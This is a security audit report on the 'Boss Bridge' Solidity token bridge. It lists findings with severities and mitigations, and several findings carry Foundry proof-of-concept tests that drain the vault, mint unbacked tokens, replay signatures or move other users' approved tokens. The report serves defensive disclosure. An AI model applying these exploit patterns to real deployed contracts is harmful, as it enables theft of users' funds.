Boss Bridge Audit Report

Version 1.0

Cyfrin.io

May 14, 2024

Boss Bridge Audit Report

Bluedragon101

May 14, 2024

Prepared by: Bluedragon101

Lead Auditors:

- [Shibi_Kishore]

Table of contents

    * [H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds
    * [H-5] Create Opcode is not supported in the ZkSync era network
    * [H-6] The `L1BossBridge::withdrawTokensToL1` function does not check if the withdraw `amount` is same as the deposited amount causing the user to gain more tokens than deposited
  - Medium
    * [M-1] The `L1BossBridge::sendToL1` function allows arbitary messages to be sent causing a potential gas bomb attack
  - Low
    * [L-1] Lack of event emission in the `L1BossBridge::withdrawTokensToL1` function
    * [L-2] PUSH0 is not supported by all chains
  - Informational
    * [NC-1] Event is missing `indexed` fields
    * [NC-2] **`public`** functions not used internally could be marked `external`

Disclaimer

The Bluedragon101 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    - L1BossBridge.sol
    - L1Token.sol
    - L1Vault.sol
    - TokenFactory.sol
  - ZKSync Era:
    - TokenFactory.sol
  - Tokens:
    - L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Issues found

Severity	Number of issues found
High	6
Medium	1
Low	2
Info	2
Total	11

Findings

High

[H-1] Calling `depositTokensToL2` from the vault contract to the vault contract allows infinte minting of unbacked tokens

Description: In L1BossBridge the `depositTokensToL2` function allows caller to specify the from address from the safeTransferFrom call. Because the `vault` contract gives uint256 max approvals the `depositTokensToL2` function can be called from the `vault` contract to the `vault` contract with the `from` address set to the `vault` contract. This allows the `vault` contract to mint unbacked tokens.

```
1 function depositTokensToL2(address from, address l2Recipient, uint256
      amount) external whenNotPaused {
```

```
2           if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
3               revert L1BossBridge__DepositLimitReached();
4           }
5   @>      token.safeTransferFrom(from, address(vault), amount);
6
7           // Our off-chain service picks up this event and mints the
               corresponding tokens on L2
8           emit Deposit(from, l2Recipient, amount);
9       }
```

Impact: An arbitrary user can mint any amount of unbacked tokens for any number of times.

Proof of Concept: Example Scenario

1. Alice calls the `depositTokensToL2` function from the `vault` contract to the `vault` contract with the `from` address set to the `vault` contract.
2. Thus the `L1BossBridge` contract will emit a Deposit event with the from address as `vault` contract address, l2recepient address as the `attacker` and the amount as the `amount`(a huge amount).
3. Causing the L2 contract to mint a huge amount of unbacked tokens to the `attacker`.

Proof Of Code

```
1   function testCanInfinitelyMintTokensInL2() public {
2           uint256 vaultBalance = 500 ether;
3           deal(address(token), address(vault), vaultBalance);
4
5           uint256 depositAmount = token.balanceOf(address(vault));
6
7           address attacker = makeAddr("attacker");
8
9           // Mint infinite tokens in L2
10          vm.startPrank(attacker);
11          vm.expectEmit(address(tokenBridge));
12          emit Deposit(address(vault), attacker, depositAmount);
13          tokenBridge.depositTokensToL2(address(vault), attacker,
               depositAmount);
14          vm.stopPrank();
15      }
```

Recommended Mitigation: The `depositTokensToL2` function should only allow the `msg.sender` to deposit tokens.

```
1   - function depositTokensToL2(address from, address l2Recipient, uint256
        amount) external whenNotPaused {
2   + function depositTokensToL2(address l2Recipient, uint256 amount)
       external whenNotPaused {
3           if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
4               revert L1BossBridge__DepositLimitReached();
```

```
5           }
6   -       token.safeTransferFrom(from, address(vault), amount);
7   +       token.safeTransferFrom(msg.sender, address(vault), amount);
8
9           // Our off-chain service picks up this event and mints the
                corresponding tokens on L2
10          emit Deposit(from, l2Recipient, amount);
11      }
```

[H-2] Users who gives token approval to the `L1BossBridge` contract may lose their tokens

Description: In the `depositTokensToL2` function, the `L1BossBridge` contract calls the `safeTransferFrom` function of the token contract with arbitary `from` address need to be specified by the user. If a user has given approval to the `L1BossBridge` contract, a malicious user can deposit tokens from the user's account to mint backed tokens in the L2 contract.

```
1   function depositTokensToL2(address from, address l2Recipient, uint256
        amount) external whenNotPaused {
2           if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
3               revert L1BossBridge__DepositLimitReached();
4           }
5   @>      token.safeTransferFrom(from, address(vault), amount);
6
7           // Our off-chain service picks up this event and mints the
                corresponding tokens on L2
8           emit Deposit(from, l2Recipient, amount);
9       }
```

Impact: If a user has given approval to the `L1BossBridge` contract, a malicious user can deposit tokens from the user's account to mint backed tokens in the L2 contract.

Proof of Concept: Example Scenario

1. Alice gives approval to the `L1BossBridge` contract to spend her tokens.
2. Attacker calls the `depositTokensToL2` function with the `from` address as Alice's address and the `l2Recipient` as Attacker's address.
3. Thus the `L1BossBridge` contract will emit a Deposit event with the from address as Alice's address, l2recepient address as Attacker's address and the amount as the `amount`.
4. Causing the L2 contract to mint backed tokens to Attacker's address.

Proof Of Code

```
1   function testCanMoveTokensOfOtherUsers() public {
2           // poor alice approving
3           vm.startPrank(user);
4           token.approve(address(tokenBridge), type(uint256).max);
```

```
5
6           // bob now moves her tokens to him
7           uint256 depositAmount = token.balanceOf(user);
8           address attacker = makeAddr("attacker");
9           vm.startPrank(attacker);
10          vm.expectEmit(address(tokenBridge));
11          emit Deposit(user, attacker, depositAmount);
12          tokenBridge.depositTokensToL2(user, attacker, depositAmount);
13          vm.stopPrank();
14      }
```

Recommended Mitigation: The `depositTokensToL2` function should only allow the `msg.sender` to deposit tokens.

```
1  - function depositTokensToL2(address from, address l2Recipient, uint256
       amount) external whenNotPaused {
2  + function depositTokensToL2(address l2Recipient, uint256 amount)
       external whenNotPaused {
3           if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
4               revert L1BossBridge__DepositLimitReached();
5           }
6  -        token.safeTransferFrom(from, address(vault), amount);
7  +        token.safeTransferFrom(msg.sender, address(vault), amount);
8
9           // Our off-chain service picks up this event and mints the
               corresponding tokens on L2
10          emit Deposit(from, l2Recipient, amount);
11      }
```

[H-3] Lack of replay protection in the `withdrawTokensToL1` function causes Signature replay attack

Description: The `withdrawTokensToL1` function in the `L2BossBridge` contract does not have any signature replay protection. This allows anyone to use the same signature multiple times to withdraw tokens from the L2 contract. Causing the attacker to withdraw tokens multiple times.

```
1  function withdrawTokensToL1(address to, uint256 amount, uint8 v,
       bytes32 r, bytes32 s) external {
2           sendToL1(
3               v,
4               r,
5               s,
6               abi.encode(
7                   address(token),
8                   0, // value
9                   abi.encodeCall(IERC20.transferFrom, (address(vault), to
                        , amount))
10              )
```

```
11          );
12      }
```

Impact: An attacker can replay the same signature multiple times to withdraw all the tokens from the L2 contract.

Proof of Concept: Example Scenario

1. Alice calls the `withdrawTokensToL1` function with the signature `v,r,s` to withdraw tokens from the L2 contract.
2. The signer signs the message with the signature `v,r,s` and sends the signed message to the `L2BossBridge` contract.
3. As the signer's signature is not checked for replay protection, the attacker can replay the same signature multiple times to withdraw all the tokens from the L2 contract.

Proof Of Code

```
function testSignatureReplay() public {
        // assume already holds some tokens
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000 ether;
        uint256 attackerInitialBalance = 100 ether;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance)
            ;

        // An attacker deposist to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker,
            attackerInitialBalance);

        // Signer/Operator signs withdraw
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            operator.key,
            MessageHashUtils.toEthSignedMessageHash(
                keccak256(_getTokenWithdrawalMessage(attacker,
                    attackerInitialBalance))
            )
        );

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker,
                attackerInitialBalance, v, r, s);
        }

        assertEq(token.balanceOf(address(vault)), 0);
        assertEq(token.balanceOf(address(attacker)),
            attackerInitialBalance + vaultInitialBalance);
```

```
28      }
```

Recommended Mitigation: The `withdrawTokensToL1` function should have a replay protection mechanism to prevent signature replay attacks.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description: The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

Impact: As the `L1BossBridge` contract is the owner of the `L1Vault` contract, an attacker could use the `sendToL1` function to call the `approveTo` function of the vault, giving themselves an infinite allowance of vault funds.

Proof of Concept: Example Scenario

1. An attacker calls the `sendToL1` function with the target set to the `L1Vault` contract and the calldata set to the `approveTo` function with the attacker's address.
2. The `L1BossBridge` contract will execute the `approveTo` function of the `L1Vault` contract, giving the attacker an infinite allowance of vault funds.
3. The attacker can then drain the vault of all its funds.

Proof Of Code

```
1  function testCanCallVaultApproveFromBridgeAndDrainVault() public {
2          address attacker = makeAddr("attacker");
3          uint256 vaultInitialBalance = 1000e18;
4          deal(address(token), address(vault), vaultInitialBalance);
5
6          // An attacker deposits tokens to L2. We do this under the
               assumption that the
7          // bridge operator needs to see a valid deposit tx to then
               allow us to request a withdrawal.
8          vm.startPrank(attacker);
9          vm.expectEmit(address(tokenBridge));
10         emit Deposit(address(attacker), address(0), 0);
11         tokenBridge.depositTokensToL2(attacker, address(0), 0);
12
```

```
13          // Under the assumption that the bridge operator doesn't
                validate bytes being signed
14          bytes memory message = abi.encode(
15              address(vault), // target
16              0, // value
17              abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
                    uint256).max)) // data
18          );
19          (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
                operator.key);
20
21          tokenBridge.sendToL1(v, r, s, message);
22          assertEq(token.allowance(address(vault), attacker), type(
                uint256).max);
23          token.transferFrom(address(vault), attacker, token.balanceOf(
                address(vault)));
24      }
```

Recommended Mitigation: Consider disallowing arbitrary calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] Create Opcode is not supported in the ZkSync era network

Description: The `create` opcode is not supported in the ZkSync era network. This opcode is used in the `TokenFactory` contract to create a new contract. This will cause the contract deployment to fail in the ZkSync era network.

```
1  function deployToken(string memory symbol, bytes memory
       contractBytecode) public onlyOwner returns (address addr) {
2          assembly {
3  @>          addr := create(0, add(contractBytecode, 0x20), mload(
       contractBytecode))
4          }
5          s_tokenToAddress[symbol] = addr;
6          emit TokenDeployed(symbol, addr);
7      }
```

Impact: The contract deployment will fail in the ZkSync era network.

Recommended Mitigation: The `TokenFactory` contract should be updated to use the `create2` opcode to deploy a new contract.

[H-6] The `L1BossBridge::withdrawTokensToL1` function does not check if the withdraw `amount` is same as the deposited amount causing the user to gain more tokens than deposited

Description: The `L1BossBridge::withdrawTokensToL1` function does not check if the withdraw `amount` is same as the deposited amount. This allows the user to gain more tokens than deposited.

```
function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
        sendToL1(
            v,
            r,
            s,
            abi.encode(
                address(token),
                0, // value
@>              abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
            )
        );
    }
```

Impact: An attacker can gain more tokens than deposited.

Proof of Concept: Example Scenario

1. Alice deposits 100 tokens to the L2 contract.
2. Alice calls the `withdrawTokensToL1` function with the `amount` as 200.
3. Alice will gain 200 tokens instead of 100 tokens.
4. Alice can gain more tokens than deposited.

Proof Of Code

```
function testCanWithdrawMoreThanDeposisted() public {
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000 ether;
        uint256 attackerInitialBalance = 100 ether;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance);

        // An attacker deposist to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker, attackerInitialBalance);

        // Signer/Operator signs withdraw
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
```

```
15              operator.key,
16              MessageHashUtils.toEthSignedMessageHash(
17                  keccak256(_getTokenWithdrawalMessage(attacker,
                        attackerInitialBalance * 2))
18              )
19          );
20
21          tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
                * 2, v, r, s);
22
23          assertEq(token.balanceOf(address(attacker)),
                attackerInitialBalance * 2);
24      }
```

Recommended Mitigation: The `withdrawTokensToL1` function should check if the withdraw `amount` is same as the deposited amount.

Medium

[M-1] The `L1BossBridge::sendToL1` function allows arbitary messages to be sent causing a potential gas bomb attack

Description: In the `L1BossBridge::sendToL1` function allows arbitary messages to be sent. This allows an attacker to send arbitary messages to the L1 contract with higher gas fees which can cause a signer's to pay way more gas fees than regular gas fees for signing the arbitary messages.

```
1  @> function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
       message) public nonReentrant whenNotPaused {
2          address signer = ECDSA.recover(MessageHashUtils.
               toEthSignedMessageHash(keccak256(message)), v, r, s);
3
4          if (!signers[signer]) {
5              revert L1BossBridge__Unauthorized();
6          }
7
8          (address target, uint256 value, bytes memory data) = abi.decode
               (message, (address, uint256, bytes));
9
10         (bool success,) = target.call{ value: value }(data);
11         if (!success) {
12             revert L1BossBridge__CallFailed();
13         }
14     }
```

Impact: An attacker can send arbitary messages to the L1 contract with higher gas fees which can cause a signer's to pay way more gas fees than regular gas fees.

Proof of Concept: Example Scenario

1. An attacker sends arbitary messages to the L1 contract with higher gas fees.
2. The signer will pay way more gas fees than regular gas fees to sign a arbitary messages.

Recommended Mitigation: The `sendToL1` function should only allow the `operator` to send arbitary messages to the L1 contract.

Low

[L-1] Lack of event emission in the `L1BossBridge::withdrawTokensToL1` function

Description: The `L1BossBridge::withdrawTokensToL1` function does not emit any event. This makes it difficult to track the withdrawl of tokens from the L2 contract.

```
1  function withdrawTokensToL1(address to, uint256 amount, uint8 v,
       bytes32 r, bytes32 s) external {
2          sendToL1(
3              v,
4              r,
5              s,
6              abi.encode(
7                  address(token),
8                  0, // value
9                  abi.encodeCall(IERC20.transferFrom, (address(vault), to
                       , amount))
10             )
11         );
12     }
```

Impact: It is difficult to track the withdrawl of tokens from the L2 contract.

Proof of Concept:

1. The `withdrawTokensToL1` function does not emit any event.

Recommended Mitigation: The `withdrawTokensToL1` function should emit an event after the withdrawl of tokens from the L2 contract.

```
1  function withdrawTokensToL1(address to, uint256 amount, uint8 v,
       bytes32 r, bytes32 s) external {
2  +       emit Withdrawal(to, amount);
3          sendToL1(
4              v,
5              r,
6              s,
7              abi.encode(
```

```
                address(token),
                0, // value
                abi.encodeCall(IERC20.transferFrom, (address(vault), to
                    , amount))
            )
        );
    }
```

[L-2] PUSH0 is not supported by all chains

Description: Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

- Found in src/L1BossBridge.sol Line: 15

```
pragma solidity 0.8.20;
```

- Found in src/L1Token.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/L1Vault.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/TokenFactory.sol Line: 2

```
pragma solidity 0.8.20;
```

Informational

[NC-1] Event is missing `indexed` fields

Description: Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/L1BossBridge.sol Line: 40

```
1     event Deposit(address from, address to, uint256 amount);
```

- Found in src/TokenFactory.sol Line: 14

```
1     event TokenDeployed(string symbol, address addr);
```

[NC-2] `public` functions not used internally could be marked `external`

Description: Instead of marking a function as **`public`**, consider marking it as `external` if it is not used internally.

- Found in src/TokenFactory.sol Line: 23

```
1     function deployToken(string memory symbol, bytes memory
         contractBytecode) public onlyOwner returns (address addr) {
```

- Found in src/TokenFactory.sol Line: 32

```
1     function getTokenAddressFromSymbol(string memory symbol)
         public view returns (address addr) {
```